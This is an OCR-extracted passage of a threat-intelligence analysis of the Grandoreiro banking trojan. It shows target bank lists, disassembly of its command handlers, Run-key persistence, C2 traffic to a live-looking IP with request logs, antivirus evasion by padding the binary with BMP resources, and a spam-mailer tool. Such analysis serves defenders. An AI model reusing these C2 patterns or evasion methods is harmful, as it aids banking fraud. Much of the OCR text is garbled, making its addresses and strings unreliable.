'Cecabank'
'natwest’
'SantanderUK'
"HSBCUK''
'Barclays'
'"BICE'
'Ripley’
'Bci’

'Chile’
'BancoEstado’
'Falabella’
'Itad’
'Santander’
'Scotiabank’
"PT_1'

"EUR '

'"TRAVALiberbank'

'TRAVABBVA'
'TRAVABANKIA'
'"TRAVAlacaixa'

OOCF8FFO
OOCF9008
0OCF9020
OOCF9038
OOCF9050
OOCF9068
OOCF9080
OOCF9098
OOCF90BO
0OCF906C4
OOCF906DC
OOCF90F4
00CF9106C
00CF9124
0OCF913C
0OCF9154
0OCF916C
0OCF9188
OOCF91A0
0OCF91BC

'TRAVASTESPANHA'
'TRAVABLOCKCHAIN
'"TRAVACAJARURAL'
'"TRAVASabadell'

' TRAVABANKINTER'
'"TRAVAlabooral'
'"TRAVAcajamar'
'"TRAVAOpenbank'
'"TRAVAING'
'"TRAVAPichincha'
'"TRAVACaixaGeral'
'"TRAVAMediolanum'
'"TRAVAUnicaja'
'"TRAVATRIODOS'
'"TRAVAACTIVOBANK'
'"TRAVACecabank'
'"TRAVAACTIVOBANKPT'
'"TRAVAMONTEPIOpt'
'"TRAVAnovobancopt'
'"TRAVAsantapt'

<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
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0OCF91D4
OOCF91F4
0OCF9210
0OCF9228
0OCF9248
OOCF925C
0OCF9278
00CF928C
OOCF92A0
0OCF92B4
OOCF92C8
OOCF92E4
OOCF9300
0OCF9314
0OCF932C
00CF934C
OOCF93EC
0OCF9404
OOCF9420
0OCF943C
OOCF9450
OOCF9468
0OCF9484
OOCF94A0
0OCF94BC
0OCF94D4
OOCF94F0
OOCF9508
0OCF9520
OOCF9538
OOCF9554
OOCF956C
OOCF9580
OOCF959C
0OCF95B4
OOCF95D0
OOCF95E8
OOCF9600
0OCF961C
0OCF9638
0OCF9654
OOCF966C
OOCF968C
OOCF96AC
OOCF96C8
OOCF96ES8
OOCF96FC
00CF971C
OOCF9730
OOCF9748
OOCF975C
OOCF9774
OOCF9790
OOCF97AC
OOCF97CO

<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>

'"TRAVAmillenniumbcppt'
'"TRAVACaixadirectapt'
'"TRAVAEuroBicpt'
'"TRAVACréditoAgricola'
'"TRAVABPI'
'"TRAVAPortugalBBVA'
'"TRAVABICE'
'TRAVARipley'
'"TRAVABci'
'"TRAVAChile'
'"TRAVABancoEstado'
'"TRAVABancoFalabella'
'"TRAVAItal'
'TRAVASantander'
'"TRAVACHILEScotiabank'
'"TRAVASGLOBAL'
'RECORTEcecabank'
"RECORTECTIVOBANK'
'"RECORTECaixaGeral'
"RECORTEBBVA'
"RECORTELACAIXA'
"RECORTESTDAESPANHA'
"RECORTEBLOCKCHAIN'
"RECORTECAJARURAL'
'"RECORTESabadell’
"RECORTEBANKINTER'
'"RECORTElaboral'
'"RECORTEBBANKIA'
'"RECORTEcajamar'
'"RECORTELiberbank'
'RECORTEOpenbank'
"RECORTEING'
'"RECORTEPichincha’
'"RECORTEibercaja'
'"RECORTEMediolanum'
'"RECORTEUNnicaja’
"RECORTETRIODOS'
"RECORTEACTIVOBANKPT'
'"RECORTENnovobancopt'
"RECORTEMONTEPIOpt'
'"RECORTEsantapt'

"RECORTEmillenniumbcppt’

'"RECORTECaixadirectapt'
'"RECORTEEuUroBicpt'

'"RECORTESCréditoAgricola’

'"RECORTESBPI'
'RECORTESPortugalBBVA'
'"RECORTEBICE'
"RECORTERipley'
'"RECORTEBci'
'"RECORTEChile'
'"RECORTEBancoEstado'
'"RECORTEFalabella’
'"RECORTEItaul’
'"RECORTESantander'
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OOCF97DC <AnsiString> 'RECORTECHILEScotiabank'
OOCF97FC <AnsiString> 'RECORTESGLOBAL'

As already documented by ESET, the malware has a set of capabilities:

e manipulating windows

e updating itself

e capturing keystrokes

e simulating mouse and keyboard actions

» navigating the victim’s browser to a chosen URL
¢ logging the victim out or restarting the machine
* blocking access to chosen websites

In detail, the malware performs its tasks according to the OS installed on the infected device
(label 1 — Figure 12 ). Several Windows OS target versions can be found inside the
malware, namely:

¢ Windows 10 Home
e Windows 8

e Windows 10

e Windows Server
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nufturiols.0OCFEE29
D12784] ; 00D127B4:&"Windows 10 Home™
inuTturiols. 4090E4
ebp-sscl]
inufturiols. 40478C
mov edx,inufturiols.CF235C ; CF935C: "windows 8"
inufturiols. 404658
test eax,eax
jne inufturiols.CFE7O0E

inufturiols. 00CFE6EC

lea edx,dword ptr ss:[Jebp-saof

mov eax,dword ptr ds:[D127B4] ; 00D127B4:&"windows 10 Home™
€all inufturiols.4090E4

mov eax,dword ptr ss:|[[ebp-saof

€a1l inufturiols.40478C
mov edx,inufturiols.CF2368 ; CF9368: "windows 10"
€@l inufturiols.40AG58

test eax,eax

jne inufturiols.CFE7O0E

inufturiols. 00CFE6ES

lea edx,dword ptr ss:[Jebp-3sas

mov eax,dword ptr ds:[D127B4] ; 00D127B4:&"windows 10 Home™
€a1l inufturiols.4090E4

mov eax,dword ptr ss:|[[ebp-sas]

€a1l inufturiols.40478C
mov_edx,inufturiols.CcF9374 ; CF9374:"windows server”
€@l inufturiols.40AG58

test eax,eax

je inufturiols.CF672A

inufturiols.00CFE70E
mov eax,dword ptr ds:[DOF180]

inufturiols. ODCFE854
mov_eax,dword ptr ds:[D12864]

€& inufturiols.40478C
mov_edx,inufturiols.CF9384 ; CF3384:"MARCARPC™
E&11 inufturiols.40A658

Test eax,eax

iE inufturiols.CF692F

inufturiols.00CFE8T0
mov dl,L
mov_eax,dword ptr ds:[41917C]
[€an inufturiols. 403498
mov esi,eax
mov eax,esi
mov_edx,dword ptr ds:[eax]
call dword ptr ds [edx+44]
mov d1,7C ; 7C:"
mov eax dword ptr ds:[D12864]
call inUfturiols. BEBCOCO
lea ecx,dword ptr ss:|[[ebp-3esl
mov edx,l
mov ebx,dword ptr ds:[eax]
€@l dword ptr ds:[ebx+C]
mov eax,dword ptr ss:[[ebp-383]
€all inufturiols. 40478C
mov edx,eax
lea eax,dword ptr = ebp-2e4]
€an inufturiols. 4044C4
mov edx,dword ptr ss:|[[ebp-zE4]
mov eax,esi
mov ecx,dword eax]
call dword ptr ds [ecx+38]
lea edx,dword ptr ebp-acof
mov eax, 1nuftur'1n'|s CFBBD4 ; CFBED4:"APPDATA"
call inufturiols. 40FC7C
push dword ptr ss:[Jebp-scof]
push inufturiols. CFSEE4
lea eax,dword ptr ss:|[febp-scaf]

inlfturiols. BBC8F4

inufturiols.D0CFE92F
mov_eax,dword ptr ds:[D12864]
inufturiols. 40478C
mov_edx,inufturiols.CF9320 ; CF3390:"DETONAPROCESSO™
inufturiols. 40A658
Test eax,eax
je inufturiols.CF&3CS

inufturiols.D0CFEICS

mov eax,dword ptr ds:[D12864]

€all inufturiols.40478C

mov edx,inufturiols.CF93A0 ; CF93A0: "TROCAMODOCREATEFORM™
inufturiols. 40A658

test eax,eax

je inufturiols.CFE9EE

inufturiols. 00CF&90D

XOr eax,eax

mov dword ptr ds:[DDEECS8],eax

mov_eax,inufturiols.D12864
inufturiols. 4042BC

inuTTuriols. 0OCFEIEE

mov_eax,dword ptr ds:[D12864]

€@ inufturiols. 40478C

mov_edx, nufturiols.CFI384 ; CFI3B4:"WIN_P"
uriols. 404658

Test eax,eax

ie inufturiols.CFGALS

inufturiols. 0OCFEAOE

mov eax,inufturiols.D12864

- inufturiols. 4042BC
inufturiols.BBBBC4

inufturiols.D0CFEALS

mov eax,dword ptr ds:[D12864]

€all inufturiols.40478C

mov edx,inufturiols.CF3BC ; CFI3BC: "ATIVARCAPTURAMAG™
€all inufturiols.40A658

test eax,eax

j& inufturiols.cFeAD2

inufturiols.DDCFGADZ

mov eax,dword ptr ds:[D128&4]

€all inufturiols. 40478C

mov edx,inufturiols.CF93D0 ; CF93D0: "ATIVARCAPTURAFULL™
€all inufturiols.40A658

test eax,eax

je inufturiols.CFEAFC

inufturiols.ODCFGAEA

mov eax,inufturiols.D12864
€&l inufturiols.4042BC

mov eax,dword ptr ds:[DOEFAD]
mov byte ptr ds:[eax],0

inufturiols.D0CF7363

mov d1,7C ; 7C:'|"

mov eax,dword ptr ds:[D12864]

€&l [inufturiols.BBCOCO

lea ecx,dword ptr ss:[Jebp-aos]

mov edx,l

mov ebx,dword ptr ds:[eax]

E&EM dword ptr ds: [ebx+C]

mov eax,dword ptr ss: -ebp—AD:I

lea edx,dword ptr ss:[ebp-ac

€@ inufturiols.s090E4

mov eax,dword ptr ss:[ebp-aosf

mov_edx,inufturiols.CF9638 ; CF9638: "RECORTEMONTEPIOpT™
inufturiols. 404608

jne inufturiols.CF73BD

inufturiols.00CF73AZ

lea eax,dword ptr ss:[febp-aoc
€an inufturiols.9967B4
mov edx,dword ptr ss:[Jebp-aoc
mov_eax,inufturiols.D1z7A0
€31l inufturiols. 40414

inufturiols.O0OCF73BD

mov dl1,7C ; 7C:'|"

mov eax,dword ptr ds:[D12864]
€& [inufturiols.BBCOCO

lea ecx,dword ptr ss:[Jebp-als
mov edx,l

mov ebx,dword ptr ds:[eax]
[EEM dword ptr ds:[ebx+C]

mov eax,dword pTr ss: -ebp—AlgI
1ea edx,dword ptr ss:[[ebp-AL

inufturiols. 4090E4
mov eax,dword ptr ss:[ebp-alof]
mov_edx,inufturiols.CF9654 ; CF9654:"RECORTEsantapt™
€&811 inufturiols.4046D8

jne inufturiols.CF7417

Figure 12: Grandoreiro blocks of code executed during the infection process. All the

highlighted labels are described below.
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Label 2 shows a call that examines the affected device and creates a folder inside
\AppData\Roaming where new modules can be downloaded into and also some data about
the target bank portal can be temporarily stored.
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..C:\Users\root\AppData\Roamin
.C:\Users\root\ip
pEata\Roanlng\ED°002TE1003E\Inuf
turiols.Ita...

LWL

Inufturl .0.. C \U
sers\root\EppEata\Roau1ng\FD°002
€ TB1l003C\Inufturicls.Ita..... M.
Newnnnns C: \Users\root\ﬁpptata\Ro
aring\F0OS0027E1003C Inufturicls.
Santander.0%........ L...C:\Users
‘“root\Applata\Roaming..

~Inufturid.
[5):3:3 I
thAppLata\Roarin, ...E....... H

C: \Users\root\ﬁpptata\Roanlng\ED
20027B1003C\Inufturicls.Beil ...
lewef...FOBO02TEI003
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C \Users\root\AppEata\Roanlng\FD
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..C:\Users\roothApplat
a\Roaring\FOS0027E1003C\Inufturi
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‘root\Rpplata\Roamin,...5.......
C...Ci\Users\root \BAppLata\Roarin
g\E030027B1003C\ Inufturicls.Banc
oEstado......... 0...C:\Users\roo
thApplata\Roaring.3C|..
LE020027B1003....E
C: \Users\root\ﬁpptata\Roanlng\FD
S0027B1003C\Inufturiocls.Bci.M. ..
Yeuul...C:\O32E3\root \Applata\Ro
aring. Inufturi....

Type

This folder is empty.

Figure 13: The malware uses some in-memory paths that will be created when the target
banking portal and victims’ details are collected.

Label 3 in Figure 12 shows when the process of collecting details and browser overlay is
initiated. “DetonarProcesso” Portuguese word can be translated to: “Trigger process”
English. The malware starts here its process of collecting details about the banking portal
when the victim accesses a target banking website.
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In addition, label 4 and label 5 are the calls responsible for creating the overlay window
that will be presented on the victims’ screen.

Finally, label 6 shows that the overlay windows is presented based on the target banking
organization.

During its execution, Grandoreiro collects some details about the infected device:

e computer name and username
e operating system; and
« list of installed security products.

SELECT * FROM AntiVirusProduct

Interesting that the malware is not executed when two computer names are found. They
probably are the computer names from Grandoreiro operators/developers. This is can be

seen as a potential kill switch.
inufturiols. 0OCFD9LS

Tea eax,dword ptr ss:|ebp-160f
Tea edx,dword ptr ss:|febp-125]
mov ecx,101

call inufturiols.40453C

mov eax,dword ptr ss:[ebp-1s0]
Tea edx,dword ptr ss:|[ebp-1:5C]
call inufturiols.4030E4

mov eax,dword ptr ss:fiebp-15C]
mov edx,inufturiols.CFDC40 ; CF
call inufturiols.4046D8

je inufturiols.CFD987

J|
inufturiols. 00OCFD94E
1ea eax,dword ptr ss:|lebp-165]
Tea edx,dword ptr ss:|febp-125]
mov ecx,101
call inufturiols.40453C
mov eax,dword ptr ssilebp-16s]
Tea edx,dword ptr ss:|[febp-1c4]
call inufturiols.4030E4
mov eax,dword ptr ssiiebp-184]
mov edx,inufturiols.CFDCS0 ; CFDCEE: "WIN-VUAGPOUVSUP™
call inufturiols. 4046058
jne inufturiols.CFD931

TALUTTUNTO 1S . DU FL SIS
mov edx,inufturiols.CFDC30
call inufturiols.4046D8
je inufturiols.CFD987

40: "ABBY-PC" .

il |
¥ ¥
inufturiols.00CFDIS7

call inufturiols.BEB938
call inufturiols.40DF5C

W
inufturiols.OCFD 991
mov_eax,inufturiols.CFDCEE ; CFDCEE:"MicrosoftEdgeCP. exe”

Figure 14: Computer names hardcoded inside the malware.

Grandoreiro capabilities and Latenbot-C2 features

16/24


https://seguranca-informatica.pt/wp-content/uploads/2020/05/21.png

Grandoreiro is a piece of malware that has evolved over time. It has capabilities to interact
with the infected machine, receiving commands from C2, and executes them inside the
machine as a simple botnet.

As described by ESET on older variants; and confirmed during this analysis; the malware is
capable of:

¢ manipulating windows

e updating itself

o capturing keystrokes

e simulating mouse and keyboard actions

¢ navigating the victim’s browser to a chosen URL

* logging the victim out or restarting the machine; and
» blocking access to chosen websites

mov byte ptr ds:[
mov e, T U 56 3 CEZ658:L"Filepelete”
Moy Ea BEd f ne
&l inufruric
mov byte ptr d
mow e 1 Tl ; CEZE74IL"FileMove"
mov_eax ,es7 §
Eall inufturiol
mov byte p
mon ey 1 U CE26BIILUFI ] efename” B8 68DCCFO0 mov eax,inufturiols.CFDCES CFDCE8: "MicrosoftEdgecP. exe”
BEm 1 niteurio E8 B1EBEEFF €all inufturiols.BBC24C
mov byte ptr d 84C0 test al,al
mo e, 1 nuTtu 3iL"Foldercreat v 74 0D je inufturiols.CFD9AC
'gg}‘ﬁ;?;ﬁi:réuﬁg“f"" G 8045 DC lea eax,dword ptr_ss:[Jebp-z4) [ebp-24]:EntryPoint
mow byte ptre de:[ 3 BA S4DCCFOO mov edx,inufturiols.CFDC84 CFDC84:" (Edge)"
mov et ,inufturia : CE26C8:L"FolderDelete E8 EBGB7OFF €all inufturiols.404594
L B8 94DCCFOO mov eax,inufturiols.CFDCo4 CFDC94: "chrome. exa"
E8 96EBEEBFF c€all inufturiols.BBCZ24C
: CEZEES:LVFoldermove" 84C0 test al,al
~ 74 0D je inufturiols.CFD3C7
e Chi i CERD 8D45 DC lea eax,dword ptr ss:[febp-z4) [ebp-24] :EntryPoint
Mo e 1AL FEur o i CE2704:L"Folderfename” BA ABDCCFODO mov_edx, inufturiols.CFDCAS CFDCAS: " (Chrome)™
eax,e5i ; EB CD&B7OFF €all inufturiols.404594
E&1T 1MUTCUrI01S. CTEE B8 BCDCCFOO mov_eax,inufturiols.CFDCEC CFDCBC: "Tirefox. exe”
L2 R PR, E8 7BEBEBFF €all inufturiols.BBC24C
v ek ,qnu Ez724:L"shel '
Mo 8 & 251 test al,al
eall inufruriols.cr ~ 74 0D je inufturiols.CFD9E2
moy byte ptr b . e . 8D45 DC lea eax,dword ptr ss:[febp-z4) [ebp-24]:EntryPoint
(57 Gl AIeIe 44, CE274dsLisuperFilene] ece BA DODCCFOO mov_edx,inufturiols.CFDCDO CFDCDO: ™ (FIRE)"
€&l inifruriols.creEce E8 BZEBTOFF €all inufturiols.404594
mov byte ptr _ , B8 EODCCFOO mov_eax,inufturiols.CFDCED CFDCEO: "iexplore. exe"
5 gt FileMove E8 GOEBEBFF €all inufturiols.BBC24C
eall inufruriols.cr test al,al.
mov byte pt v 74 0D je inufturiols.CFDIFD
moy edy inurturiols uperellerename” 8045 DC lea eax,dword ptr ss:[febp-z4] [ebp-24]:EnTryPoinT
(l? QRan=] A CAE BA FSDCCFOO mov edx,inufturiols.CFDCF8 CFDCF8: " (IE)"
EB 976B70FF €all inufturiols.404594
L"superFoldercreate” BS 08DDCFOO mov eax,inufturiols.CFDDO8 CFDDOS: "opera. exe”
EB 45EBEBFF €all inufturiols.BBC24C
test al,al
2704:L" superfolderoe] ece” ~ 74 0D je inufturiols.CFDALS
8D45 DC Tea eax,dword ptr ss:|[Jebp-24]] [ebp-24]:EntryPoint
BA 1CDDCFOO mov edx,inufturiols.CFDDIC CFDD1C: " (opera)™
L" SuperFoldertove” ES _FCEBTOFF call dnufturiols. 404594
20:L"superEalderk ename”
L"Supershel 1Execute™

Figure 14: Grandoreiro internal commands (left side) and browser management (right side).

The malware persistence is achieved via a registry key on Windows\CurrentVersion:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Value: C:\Users\root\AppData\Roaming\nvreadmm\Inufturiols.exe

An interesting detail in this variant is the C2 communication. The C2 IP address can be
identified below, where also the name “DANILO” is visible.
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8045 FC

BA 34ESCFOOD
E8 ECSE7OFF
BDE3 04030000
BA ASESCFOO
EB 98LETOFF
SDE3 00030000
BEB4D FC

BA B4ESCFOO
ES 4D617OFF
BE C427D100
BA C4ESCFOO
ES FGSEFOFF
BE CEZ27DI100
BA DCESCFOO
E8 G&FSEFOFF
BE BCZEDI100
BA ECESCFOO
EE LBLETOFF

lea eax,dword ptr ss:|[ebp-4]
mov edx,inufturiols.CFES94
call inufturiols. 404354

Tea eax,dword ptr ds:[ebx+304]
mov edx,inufturiols.CFESAS
call +inufturiols. 404310

Tea eax,dword ptr ds:[ebx+300]
mov ecx,dword ptr ss:|ebp-4]]
mov edx,inufturiols.CFESE4
call inufturiols. 404508

mev eax,inufturiols.D127C4
mov edx,inufturiols.CFESC4
call inufturiols. 404310

mov eax,inufturiols.Dl127C8
mov edx,inufturiols.CFESDC
call inufturiols. 404310

mov eax,inufturiols.D1288C

mov edx,inufturiols.CFESEC
call inufturiols. 404310

[ - R R — ) SRR

Figure 15: Grandoreiro C2 IP address.

Inside the malware and based on the web traffic analysis, it's possible to see similarities with

latenbot C2-traffic (as presented here).

104.232.32.101
104.232.32.101
104.232.32.101
104.232.32.101
104.232.32.101
104.232.32.101
104.232.32.101
104.232.32.101
104.232.32.101
104.232.32.101
104.232.32.101
104.232.32.101
104.232.32.101
104.232.32.101
104.232.32.101
104.232.32.101
104.232.32.101
104.232.32.101
104.232.32.101
104.232.32.101
104.232.32.101
104.232.32.101
104.232.32.101
104.232.32.101
104.232.32.101
104.232.32.101
104.232.32.101

15 bytes ?ACTION=HELLO

29 bytes ?ACTION=HELLO

14 bytes ?ACTION=HELLO

28 bytes ?ACTION=HELLO

12 bytes PACTION=START&ID=3914B1E554804AD6AFA8467713C6119D

26 bytes ?ACTION=START&ID=3914B1E554804AD6AFA8467713C6119D
588 bytes ?ID=3914B1E554804AD6AFAB467713C6119D

12 bytes 7ID=3914B1E554804AD6GAFA8467713C6119D

30 bytes 7ID=3914B1E554804AD6AFA8467713C6119D

48 bytes 7ID=3914B1E554804AD6AFAB467713C6119D

27 bytes 7ID=3914B1E554804AD6AFA8467713C6119D

45 bytes ?ID=3914B1E554804AD6AFA8467713C6119D

11 bytes ?ACTION=HELLO
817 bytes UPLOAD ?file=CLIENT_UPLOAD%5CPL-70-873307255376%5Cn3u676byow4607f.tmp.ki&type=4

1 bytes UPLOAD?file=CLIENT_UPLOAD%5CPL-70-873307255376%5Cn3u676byow4607f.tmp.kl&type=4

11 bytes ?ACTION=HELLO

25 bytes ?ACTION=HELLO

15 bytes ?ACTION=HELLO

29 bytes PACTION=HELLO

14 bytes 7ACTION=5TART&ID=6AEFC20EE3424974ABEEBBCF7DADBBAT

28 bytes 7ACTION=START&ID=6AEFC20EE3424974ABEEBBCF7DADBBA7
593 bytes ?ID=6AEFC20EE3424974ABEEBBCF7DAOBBA7

12 bytes 7ID=6AEFC20EE3424974ABEEBBCF7DAOBB47

28 bytes ?ID=6AEFC20EE3424974ABEEBBCF7DAOBBAT

46 bytes ?ID=6AEFC20EE3424974ABEEBBCF7DAOBBAT

29 bytes 7ID=6AEFC20EE34 249 7AABEEBBCF7DAOBBAT

47 bytes ?ID=6AEFC20EE3424974ABEEBBCF7DAOBBAT

Latenbot C2 traffic - 2017
Figure 16: Latenbot (2017) and Grandoreiro (2020) C2-traffic similarities.

104.168.190.164:905
0
104.168.190.164:905
0

104.168.190.164:905
0

104.168.190.164:905

0 1D=B3030080574A43BES57DBE13C21D7110
804D DO Tea ecx,dword ptr_ss:[[ebp-20]
BA 50D0CA00 v_edx,inufturiols.caDoso CADO50: "ACTION"
E8 15D1FDFF call inufturiols.c8ss1s
8845 DO mov eax,dword ptr ss:|febp-30f
BA G0DOCAOD mov_edx,Tnufturiols.cADO60 CADOBO: "HELLO"

8883 _0C020000
ES DFCBFDFF
8893 FOO10000

CFE594:

D127Cs8
CFESDC: " 2050™

€all inufturiols.4046D8

jne inufturiols.CAC52F

mov eax,dword ptr ds:[ebx+1F0]
cmp_dword ptr ds:[eax+13],0

- 74 20 je inufturiols.CAC442
mov_eax,dword ptr_ds: [ebx+20C]
€all inufturiols.C8aD:

mov edx,dword ptr ds:[ebx+1F0]
8844 18 mov ecx,dword ptr ds:[edx+18]
mov_edx,inufturiols.cADo7o CADO70:"ID"
call inuf:ur_‘icﬂs.csggxc

CFESAS: 03"

CFESE4: "DANILO™

D127C4:&"104. 168,190,164
CFESC4:"104.1658,190.164"

t&"9050"

D1288C: &"cdx.db"
CFESEC :uiflx . db™

http://104.168.190.164:9050/5rdgate PACTION=HELLO

http://104.168.190.164:9050/Frdgate?
ACTION=START&ID=B3030080574A43BEB57TDBE13C21
D7110

http://104.168.190.164.9050/$rdgate?
ID=B3030080574A43BEBS7DBE13C21D7110

http://104.168.190.164:9050/Frdgate?

7 jmp inufturiols.cac4ss
8883 0C020000 mov_eax,dword ptr ds:[ebx+20C]
EB BFCBFDFF call inufturiols.csspoc
X0r ecx,ecx
BA 70DOCAOD mov_edx, nufturiols.cADo7o CADO70:"ID"
EB E3D4FDFF €alll inufturiols.c8993c
8855 F8 mov edx,dword ptr ss:|febp-s]

8845 FC mov_eax,dword
€all inufturicls.CACOBC

ES 58FCFFFF

ptr ss:[[ebp-4]

Grandoreiro operators probably are including Latenbot botnet modules as a way of
improving communication between C2 and infected hosts — the creation of a kind of

Grandoreiro botnet.

Grandoreiro C2 traffic - 2020
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No.

Time Source Destination Protocc™ Length Info
13927 88.511133 192.168.1086.204 104.168.190.164 HTTP 152 POST /$rdgatePACTION=HELLO HTTP/1.1
13937 89.148114 104.168.190.164 192.168.100.204 HTTP 157 HTTP/1.1 280 OK
13944 89.150028 192.168.180.284 104.168.190.164 HTTP 184 POST /$rdgate?ACTION=START&ID-B3038080574A43BEBSTDBEL3C21D7118 HTTP/1.1
13954 89.367735 104.168.196.164 192.168.1600.204 HTTP 104 HTTP/1.1 200 OK
13956 89.368210 192.168.1086.204 104.168.190.164 HTTP 368 POST /$rdgate?ID-B3030030574A43BEBSTDBE13C21D7110 HTTP/1.1
13957 89.583672 104.168.190,164 192.168.100.204 HTTP 126 HTTP/1.1 200 0K
13958 89.585331 192.168.100.204 104.168.190.164 HTTP 368 POST /$rdgate?ID=B3030086574A43BEBSTDBEL3C21D7110 HTTP/1.1
13960 89.796387 164.168.198.164 192.168.1680.204 HTTP 105 HTTP/1.1 288 OK
13961 89.797642 192.168.106.204 104.168.196.164 HTTP 194 POST /$rdgate?ID-B3030030574A43BEBS7DBE13C21D7110 HTTR/1.1
13962 90.01003% 104.168.190.164 192.168.160.204 HTTP 187 HTTP/1.1 200 OK

189 POST /$rdgate?ID=B3030086574A43BEBS7DBE13C21D7110

13964 90.222431 164.168.196.164 192.168.1680.204 HTTP 105 HTTP/1.1 288 OK
13965 90.223177 192.168.100.2084 104.168.190.164 HTTP 187 POST /$rdgate?ID=B3030030574A43BEBSTDBEI3C21D7110 HTTP/1.1
13974 90.437790 104.168.190.164 192.168.1600.204 HTTP 1069 HTTP/1.1 200 OK
13975 90.439266 192.168.186.204 104.168.190.164 HTTP 189 POST /$rdgate?ID-B3030888574A43BEBSTOBE13C21D7110 HTTP/1.1
13976 90.650420 104.168.190.164 192.168.100.204 HTTP 107 HTTP/1.1 280 OK
13977 90.650781 192.168.180.284 104.168.190.164 HTTP 188 POST /$rdgate?ID-B3030088574A43BEBSTDBEI3C21D7110 HTTP/1.1
14000 110.847465 104.168.196.164 192.168.1600.204 HTTP 106 HTTP/1.1 200 OK
14001 1106.848291 192.168.1086.204 104.168.190.164 HTTP 188 POST /$rdgate?ID-B3030038574A43BEBSTDBE13C21D7110 HTTP/1.1
44095 424 _OENEEA 404 16D 100 464 407 _4E0 100204 uTTn 408 LTTO/A_ 4200 Nk

‘Wireshark- Follow HTTP Stream (tcp.stream eq 2) - 82¢d7d69-1532-4ef2-8c3e-52a0a%d 4d3e.peap

POST /$rdgate?PACTION=HELLO HTTP/1.1 =

HOST: 1684.168.190.164

CONTENT-LENGTH: 7250

leepeNe B W8] VL, PN
Hoooowikedo. . [2.1. .8, .. .Q&.

: i &. ..M ..Z..W..1p..............&8......p..5C.......0gk...351}F. .w.%..m...p.~h..>
. . vvika ... X YB. L LFL0. B T S {1 B S TR S B e S K

o vev.p...}<a.&q/.B.~D<.A..r.......Q.0.L......~-2BZ...K.J]|..T3 =.H..qU4B*H...:m...;....X.... ..@.\.k..6F, "...Q.T.

el i2.0 oAmL L 1. %pjZ. L NL L /~BVULhE. Ll 8L Lo/ AL #;....58....To./N.#2G....hg.;...q.... .K.rO.kX.Es.§gl...s...x.h.:.. .G.&..Q.'....DT....<c...¥..pj5h.10.
r.....F...S...3....b tgy.LN..@ 2>..L.............X5m....z<

.D5 ...8n.*DFy?

LR 38./bF. . 1K T

E.SR|....5..D..
X.M1256.,15t] . WS.. *1y....FH. .

rp.. .
250l 000000 cboooo b dEddac

SUau/e e L UXARIW] CGTW. .S

Figure 17: Grandoreiro C2-traffic.

Grandoreiro PE file padding

As observed in ESET analysis, “the vast majority of Grandoreiro samples utilize a very
interesting application of the binary padding technique. This technique is all about making

th

e binaries large and we have seen it being used even by more sophisticated malware. We

have also observed some other Latin American banking trojans employing it occasionally,
but only in the simplest form of appending a large amount of junk at the end of the binary.

Grandoreiro chooses a different approach — a simple, yet very effective one. The resources
section of the PE file is augmented by (usually 3) grande BMP images, making each binary
at least 300 MB in size.”

The samples analyzed in May 2020 that target Portuguese users used the technique
previously described.

Figure 18 below shows that the resources directory is big and populates part of the binary
size.
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Relocations
Entry Point

Figure 18: PortEx padding analysis — Grandoreiro May 2020.

Three BMP images were specially created by Grandoreiro operators as a way of enlarging
the size of binary file. Notice that the PE file size is 331 MB and 322 MB are only populated
by three BMP resources (the technique used by malware operators in past samples).
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[ IS0_KEWWTPOLZS. brnp, ... Properties X

General Details

3 Files, 0 Folders

Type: All of type BMP File
Location: Allin C:\Wsers\IEUser\Desktop
Size: 322 MB (338,044,054 bytes)

Size ondisk: 322 MB (338,051,072 bytes)
Photos - 1I50_GXTDOEYBY.bmp

Figure 19: BMP resources used by Grandoreiro malware to increase file size and to bypass
AV’s detection.

Spam tool

During May 2020 was observed that many phishing emails targeting Portuguese users were
disseminated via a spam tool called: Leaf PHPMailer 2.8. Crooks compromise several
servers and are using tools like this to sent malicious emails to a large group of users.

Below is presented a screenshot from a compromised server we analyzed during this
investigation.
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@ | eaf PHPMailer 25

Email Sender Name

Attachment (Multiple Available) Reply-to

Explorar... | Nenhuns ficheiros selecionados.

Subject

Message Letter [N Email List [

Message Type HTML ® PlainO Character set Message encoding

UTF-8 v 8bit

BN or check SpamAssassin Score

Instruction

Server Information

* ServerIP Address: Check Blacklist Q.
© PHP Version:7.1.33

HELP

o [-email-] : Reciver Email (emailuser@emaildomain.com)
o [-emailuser] : Email User (emailuser)
o [-emaildomain-] : Email User (emaildomain.com)

o [-time-]: Date and Time (05/26/2020 08:59:26 am)

o [-randomstring] : Random string (0-9,a-2)

o [-randomnumber-] : Random number (0-9)

« [randomletters]: Random Letters(a-z)

« [randommd5-]: Random MD5

example

Receiver Email = user@domain.com
« hello [-emailuser-] = hello user
« your domain is [-emai iin-] = Your Domain is d
« your code is [-randommds-] = your code is e10adc3949ba59abbe562057f20f883¢

by leafmailer;pw

Figure 20: Spam tool used by Grandoreiro operators to disseminate malscam campaigns in-

the-wild in Portugal.

Finally, the malware server online with the ISO files, spam tool, and C2 were
decommissioned at the moment of writing this publication.

Mitre Att&ck Matrix

Privilege Credential Lateral

Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration
Scripting n Winlogon Process Masquerading Credential | Process Remote File Data from Local  Data Compressed
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https://seguranca-informatica.pt/wp-content/uploads/2020/05/spamtool1.png
https://seguranca-informatica.pt/wp-content/uploads/2020/05/mitre.png

--vbs file (1st stage)--
vbs: Torrentz5B88BC75AD1DA330A74FFA2ED717DBOB3AE71CCC.Vvbs
MD5: 8491a619dc6e182437bd4482d6e97e3a

